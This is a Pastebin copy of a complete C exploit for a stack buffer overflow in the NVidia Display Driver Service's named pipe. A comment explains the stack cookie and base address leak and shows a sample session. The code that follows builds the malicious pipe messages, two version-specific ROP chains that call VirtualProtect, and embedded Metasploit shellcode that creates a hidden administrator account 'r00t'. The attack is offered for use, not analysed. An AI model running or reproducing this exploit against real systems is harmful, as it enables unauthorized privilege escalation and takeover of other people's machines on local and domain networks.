Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- NVidia Display Driver Service (Nsvr) Exploit - Christmas 2012
- - Bypass DEP + ASLR + /GS + CoE
- =============================================================
- halfdead@phear.org
- Hey all!
- Here is an exploit for an interesting stack buffer overflow in the NVidia
- Display Driver Service. The service listens on a named pipe (\pipe\nsvr)
- which has a NULL DACL configured, which should mean that any logged on user
- or remote user in a domain context (Windows firewall/file sharing
- permitting) should be able to exploit this vulnerability.
- The buffer overflow occurs as a result of a bad memmove operation, with the
- stack layout effectively looking like this:
- [locals]
- [received-data]
- [response-buf]
- [stack cookie]
- [return address]
- [arg space]
- [etc]
- The memmove copies data from the received-data buffer into the response-buf
- buffer, unchecked. It is possible to control the offset from which the copy
- starts in the received-data buffer by embedding a variable length string -
- which forms part of the protocol message being crafted - as well as the
- number of bytes copied into the response buffer.
- The amount of data sent back over the named pipe is related to the number
- of bytes copied rather than the maximum number of bytes that the buffer is
- able to safely contain, so it is possible to leak stack data by copying
- from the end of the received-data buffer, through the response-buf buffer
- (which is zeroed first time round, and second time round contains whatever
- was in it beforehand), right to the end of the stack frame (including stack
- cookie and return address).
- As the entire block of data copied is sent back, the stack cookie and
- nvvsvc.exe base can be determined using the aforementioned process. The
- stack is then trashed, but the function servicing pipe messages won't
- return until the final message has been received, so it doesn't matter too
- much.
- It is then possible to exploit the bug by sending two further packets of
- data: One containing the leaked stack cookie and a ROP chain dynamically
- generated using offsets from the leaked nvvsvc.exe base (which simply fills
- the response-buf buffer when this data is echoed back) and a second packet
- which contains enough data to trigger an overwrite if data is copied from
- the start of the received-data buffer into the response-buf (including the
- data we primed the latter to contain - stack cookie and ROP chain).
- Allowing the function to then return leads to execution of our ROP chain,
- and our strategically placed Metasploit net user /add shellcode! We get
- continuation of execution for free because the process spins up a thread
- to handle each new connection, and there are no deadlocks etc.
- I've included two ROP chains, one which works against the nvvsvc.exe
- running by default on my Win7/x64 Dell XPS 15/ NVidia GT540M with drivers
- from the Dell site, and one which works against the latest version of the
- drivers for the same card, from:
- http://www.geforce.co.uk/hardware/desktop-gpus/geforce-gt-540m
- http://www.geforce.co.uk/drivers/results/54709
- Hope you find this interesting - it's a fun bug to play with!
- - Sample Session -
- C:\Users\Peter\Desktop\NVDelMe1>net localgroup administrators
- Alias name administrators
- Comment Administrators have complete and unrestricted access to the computer/domain
- Members
- -------------------------------------------------------------------------------
- Administrator
- Peter
- The command completed successfully.
- C:\Users\Peter\Desktop\NVDelMe1>nvvsvc_expl.exe
- ** Nvvsvc.exe Nsvr Pipe Exploit (Local/Domain) **
- [@peterwintrsmith]
- - Win7 x64 DEP + ASLR + GS Bypass - Christmas 2012 -
- Usage: nvvsvc_expl.exe <ip>|local
- !! If exploiting remotely, create a session with the target using your domain credentials !!
- Command: net use \\target.ip\ipc$ /u:domain\user password
- C:\Users\Peter\Desktop\NVDelMe1>nvvsvc_expl.exe 127.0.0.1
- ** Nvvsvc.exe Nsvr Pipe Exploit (Local/Domain) **
- [@peterwintrsmith]
- - Win7 x64 DEP + ASLR + GS Bypass - Christmas 2012 -
- Action 1 of 9: - CONNECT
- Action 2 of 9: - CLIENT => SERVER
- Written 16416 (0x4020) characters to pipe
- Action 3 of 9: - SERVER => CLIENT
- Read 16504 (0x4078) characters from pipe
- Action 4 of 9: Building exploit ...
- => Stack cookie 0xe2bad48dd565:
- => nvvsvc.exe base 0x13f460000:
- Action 5 of 9: - CLIENT => SERVER
- Written 16416 (0x4020) characters to pipe
- Action 6 of 9: - SERVER => CLIENT
- Read 16384 (0x4000) characters from pipe
- Action 7 of 9: - CLIENT => SERVER
- Written 16416 (0x4020) characters to pipe
- Action 8 of 9: - SERVER => CLIENT
- Read 16896 (0x4200) characters from pipe
- Action 9 of 9: - DISCONNECT
- C:\Users\Peter\Desktop\NVDelMe1>net localgroup administrators
- Alias name administrators
- Comment Administrators have complete and unrestricted access to the computer/domain
- Members
- -------------------------------------------------------------------------------
- Administrator
- Peter
- r00t
- The command completed successfully.
- */
- #include <stdio.h>
- #include <Windows.h>
- enum EProtocolAction
- {
- ProtocolAction_Connect = 0,
- ProtocolAction_Receive,
- ProtocolAction_Send,
- ProtocolAction_Disconnect,
- ProtocolAction_ReadCookie,
- };
- typedef struct {
- EProtocolAction Action;
- PBYTE Buf;
- DWORD Length;
- } ProtocolMessage;
- const int GENERIC_BUF_LENGTH = 0x10000;
- #define WriteByte(val) {buf[offs] = val; offs += 1;}
- #define WriteWord(val) {*(WORD *)(buf + offs) = val; offs += 2;}
- #define WriteDword(val) {*(DWORD *)(buf + offs) = val; offs += 4;}
- #define WriteBytes(val, len) {memcpy(buf + offs, val, len); offs += len;}
- #define BufRemaining() (sizeof(buf) - offs)
- DWORD WritePipe(HANDLE hPipe, void *pBuffer, DWORD cbBuffer)
- {
- DWORD dwWritten = 0;
- if(WriteFile(hPipe, pBuffer, cbBuffer, &dwWritten, NULL))
- return dwWritten;
- return 0;
- }
- DWORD ReadPipe(HANDLE hPipe, void *pBuffer, DWORD cbBuffer, BOOL bTimeout = FALSE)
- {
- DWORD dwRead = 0, dwAvailable = 0;
- if(bTimeout)
- {
- for(DWORD i=0; i < 30; i++)
- {
- if(!PeekNamedPipe(hPipe, NULL, NULL, NULL, &dwAvailable, NULL))
- goto Cleanup;
- if(dwAvailable)
- break;
- Sleep(100);
- }
- if(!dwAvailable)
- goto Cleanup;
- }
- if(!ReadFile(hPipe, pBuffer, cbBuffer, &dwRead, NULL))
- goto Cleanup;
- Cleanup:
- return dwRead;
- }
- HANDLE EstablishPipeConnection(char *pszPipe)
- {
- HANDLE hPipe = CreateFileA(
- pszPipe,
- GENERIC_READ | GENERIC_WRITE,
- 0,
- NULL,
- OPEN_EXISTING,
- 0,
- NULL
- );
- if(hPipe == INVALID_HANDLE_VALUE)
- {
- return NULL;
- }
- return hPipe;
- }
- BYTE *BuildMalicious_LeakStack()
- {
- static BYTE buf[0x4020] = {0};
- UINT offs = 0;
- WriteWord(0x52);
- for(UINT i=0; i<0x2000; i++)
- WriteWord(0x41);
- WriteWord(0);
- WriteDword(0);
- WriteDword(0x4078);
- WriteDword(0x41414141);
- WriteDword(0x41414141);
- WriteDword(0x41414141);
- WriteDword(0x41414141);
- WriteDword(0x41414141);
- return buf;
- }
- BYTE *BuildMalicious_FillBuf()
- {
- static BYTE buf[0x4020] = {0};
- UINT offs = 0;
- WriteWord(0x52);
- WriteWord(0); // string
- WriteDword(0);
- WriteDword(0x4000);
- while(BufRemaining())
- WriteDword(0x43434343);
- return buf;
- }
- BYTE *BuildMalicious_OverwriteStack()
- {
- static BYTE buf[0x4020] = {0};
- UINT offs = 0;
- WriteWord(0x52);
- WriteWord(0); // string
- WriteDword(0);
- WriteDword(0x4340); // enough to copy shellcode too
- while(BufRemaining())
- WriteDword(0x42424242);
- return buf;
- }
- int main(int argc, char* argv[])
- {
- DWORD dwReturnCode = 1, dwBytesInOut = 0;
- HANDLE hPipe = NULL;
- static BYTE rgReadBuf[GENERIC_BUF_LENGTH] = {0};
- printf(
- " ** Nvvsvc.exe Nsvr Pipe Exploit (Local/Domain) **\n"
- " [@peterwintrsmith]\n"
- " - Win7 x64 DEP + ASLR + GS Bypass - Christmas 2012 -\n"
- );
- if(argc < 2)
- {
- printf("\tUsage: %s <ip>|local\n\n", argv[0]);
- printf(
- " !! If exploiting remotely, create a session with the target using your domain credentials !!\n"
- "\tCommand: net use \\\\target.ip\\ipc$ /u:domain\\user password\n"
- );
- goto Cleanup;
- }
- memset(rgReadBuf, 0, sizeof(rgReadBuf));
- ProtocolMessage rgConvoMsg[] = {
- {ProtocolAction_Connect, NULL, 0},
- {ProtocolAction_Send, BuildMalicious_LeakStack(), 0x4020},
- {ProtocolAction_Receive, {0}, 0x4200},
- {ProtocolAction_ReadCookie, {0}, 0},
- {ProtocolAction_Send, BuildMalicious_FillBuf(), 0x4020},
- {ProtocolAction_Receive, {0}, 0x4000},
- {ProtocolAction_Send, BuildMalicious_OverwriteStack(), 0x4020},
- {ProtocolAction_Receive, {0}, 0x4200},
- {ProtocolAction_Disconnect, NULL, 0},
- };
- DWORD dwNumberOfMessages = sizeof(rgConvoMsg) / sizeof(ProtocolMessage), i = 0;
- BOOL bTryAgain = FALSE;
- char szPipe[256] = {0};
- if(stricmp(argv[1], "local") == 0)
- strcpy(szPipe, "\\\\.\\pipe\\nvsr");
- else
- sprintf(szPipe, "\\\\%s\\pipe\\nvsr", argv[1]);
- while(i < dwNumberOfMessages)
- {
- printf("\n\tAction %u of %u: ", i + 1, dwNumberOfMessages);
- switch(rgConvoMsg[i].Action)
- {
- case ProtocolAction_Connect:
- printf(" - CONNECT\n");
- hPipe = EstablishPipeConnection(szPipe);
- if(!hPipe)
- {
- printf("!! Unable to create named pipe (GetLastError() = %u [0x%x])\n", GetLastError(), GetLastError());
- goto Cleanup;
- }
- break;
- case ProtocolAction_Disconnect:
- printf(" - DISCONNECT\n");
- CloseHandle(hPipe);
- hPipe = NULL;
- break;
- case ProtocolAction_Send:
- printf(" - CLIENT => SERVER\n");
- if(!(dwBytesInOut = WritePipe(hPipe, rgConvoMsg[i].Buf, rgConvoMsg[i].Length)))
- {
- printf("!! Error writing to pipe\n");
- goto Cleanup;
- }
- printf("\t\tWritten %u (0x%x) characters to pipe\n", dwBytesInOut, dwBytesInOut);
- break;
- case ProtocolAction_Receive:
- printf("\t - SERVER => CLIENT\n");
- if(!(dwBytesInOut = ReadPipe(hPipe, rgReadBuf, rgConvoMsg[i].Length, FALSE)))
- {
- printf("!! Error reading from pipe (at least, no data on pipe)\n");
- goto Cleanup;
- }
- printf("\t\tRead %u (0x%x) characters from pipe\n", dwBytesInOut, dwBytesInOut);
- break;
- case ProtocolAction_ReadCookie:
- // x64 Metasploit cmd/exec:
- // "net user r00t r00t00r! /add & net localgroup administrators /add"
- // exitfunc=thread
- char pb_NetAdd_Admin[] = ""
- "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
- "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
- "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
- "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
- "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
- "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
- "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
- "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
- "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
- "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
- "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
- "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
- "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
- "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
- "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
- "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
- "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
- "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64"
- "\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x72\x30"
- "\x30\x74\x20\x72\x30\x30\x74\x30\x30\x72\x21\x20\x2f\x61\x64"
- "\x64\x20\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72"
- "\x6f\x75\x70\x20\x61\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74"
- "\x6f\x72\x73\x20\x72\x30\x30\x74\x20\x2f\x61\x64\x64\x00";
- printf("Building exploit ...\n");
- unsigned __int64 uiStackCookie = *(unsigned __int64 *)(rgReadBuf + 0x4034);
- printf("\t\t => Stack cookie 0x%x%x:\n", (DWORD)(uiStackCookie >> 32), (DWORD)uiStackCookie);
- memcpy(rgConvoMsg[4].Buf + 0xc + 0xc, &uiStackCookie, 8);
- unsigned __int64 uiRetnAddress = *(unsigned __int64 *)(rgReadBuf + 0x4034 + 8), uiBase = 0, *pRopChain = NULL;
- // Perform some limited fingerprinting (my default install version, vs latest at time of testing)
- switch(uiRetnAddress & 0xfff)
- {
- case 0x640: // 04/11/2011 05:19 1,640,768 nvvsvc.exe [md5=3947ad5d03e6abcce037801162fdb90d]
- {
- uiBase = uiRetnAddress - 0x4640;
- printf("\t\t => nvvsvc.exe base 0x%x%x:\n", (DWORD)(uiBase >> 32), (DWORD)uiBase);
- pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7*8));
- // Param 1: lpAddress [r11 (near rsp) into rcx]
- pRopChain[0] = uiBase + 0x19e6e; // nvvsvc.exe+0x19e6e: mov rax, r11; retn
- pRopChain[1] = uiBase + 0xa6d64; // nvvsvc.exe+0xa6d64: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn
- pRopChain[2] = 0; // Padding
- pRopChain[3] = 0; // ...
- pRopChain[4] = 0; // ...
- pRopChain[5] = 0; // ...
- pRopChain[6] = 0; // ...
- pRopChain[7] = uiBase + 0x7773; // nvvsvc.exe+0x7773: pop rax; retn
- pRopChain[8] = 0x1; // Param 2: dwSize [rdx = 1 (whole page)]
- pRopChain[9] = uiBase + 0xa8653; // nvvsvc.exe+0xa8653: mov rdx, rax; mov rax, rdx; add rsp, 28h; retn
- pRopChain[10] = 0; // Padding
- pRopChain[11] = 0; // ...
- pRopChain[12] = 0; // ...
- pRopChain[13] = 0; // ...
- pRopChain[14] = 0; // ...
- pRopChain[15] = uiBase + 0x7772; // nvvsvc.exe+0x7772: pop r8; retn
- pRopChain[16] = 0x40; // Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)]
- pRopChain[17] = uiBase + 0x7773; // nvvsvc.exe+0x7773: pop rax; retn
- // Param 4: lpflOldProtect [r9 - already points at writable location]
- pRopChain[18] = uiBase + 0xfe5e0; // nvvsvc.exe+0xfe5e0: IAT entry &VirtualProtect
- pRopChain[19] = uiBase + 0x5d60; // nvvsvc.exe+0x5d60: mov rax, [rax]; retn
- pRopChain[20] = uiBase + 0x91a85; // nvvsvc.exe+0x91a85: jmp rax
- pRopChain[21] = uiBase + 0xe6251; // nvvsvc.exe+0xe6251: jmp rsp (return address from VirtualProtect)
- memcpy(pRopChain + 22, pb_NetAdd_Admin, sizeof(pb_NetAdd_Admin));
- }
- break;
- case 0xa11: // 01/12/2012 05:49 890,216 nvvsvc.exe [md5=3341d2c91989bc87c3c0baa97c27253b]
- {
- uiBase = uiRetnAddress - 0x3a11;
- printf("\t\t => nvvsvc.exe base 0x%x%x:\n", (DWORD)(uiBase >> 32), (DWORD)uiBase);
- pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7*8));
- // Param 1: lpAddress [r11 (near rsp) into rcx]
- pRopChain[0] = uiBase + 0x15b52; // nvvsvc.exe+0x15b52: mov rax, r11; retn
- pRopChain[1] = uiBase + 0x54d4c; // nvvsvc.exe+0x54d4c: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn
- pRopChain[2] = 0; // Padding ...
- pRopChain[3] = 0; // ...
- pRopChain[4] = 0; // ...
- pRopChain[5] = 0; // ...
- pRopChain[6] = 0; // ...
- pRopChain[7] = uiBase + 0x8d7aa; // nvvsvc.exe+0x8d7aa: pop rdx; add al, 0; pop rbp; retn
- pRopChain[8] = 0x1; // Param 2: dwSize [rdx = 1 (whole page)]
- pRopChain[9] = 0; // Padding ...
- // Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)]
- pRopChain[10] = uiBase + 0xd33a; // nvvsvc.exe+0xd33a: pop rax; retn
- pRopChain[11] = 0x40; // PAGE_EXECUTE_READWRITE
- pRopChain[12] = uiBase + 0x8d26; // nvvsvc.exe+0x8d26: mov r8d, eax; mov eax, r8d; add rsp, 28h; retn
- pRopChain[13] = 0; // Padding ...
- pRopChain[14] = 0; // ...
- pRopChain[15] = 0; // ...
- pRopChain[16] = 0; // ...
- pRopChain[17] = 0; // ...
- pRopChain[18] = uiBase + 0xd33a; // nvvsvc.exe+0xd33a: pop rax; retn
- // Param 4: lpflOldProtect [r9 - already points at writable location]
- pRopChain[19] = uiBase + 0x91310; // IAT entry &VirtualProtect - 0x128
- pRopChain[20] = uiBase + 0x82851; // nvvsvc.exe+0x82851: mov rax, [rax+128h]; add rsp, 28h; retn
- pRopChain[21] = 0; // Padding ...
- pRopChain[22] = 0; // ...
- pRopChain[23] = 0; // ...
- pRopChain[24] = 0; // ...
- pRopChain[25] = 0; // ...
- pRopChain[26] = uiBase + 0x44fb6; // nvvsvc.exe+0x44fb6: jmp rax
- pRopChain[27] = uiBase + 0x8a0dc; // nvvsvc.exe+0x8a0dc: push rsp; retn
- memcpy(pRopChain + 28, pb_NetAdd_Admin, sizeof(pb_NetAdd_Admin));
- }
- break;
- }
- break;
- }
- i++;
- }
- dwReturnCode = 0;
- Cleanup:
- if(hPipe)
- CloseHandle(hPipe);
- return dwReturnCode;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement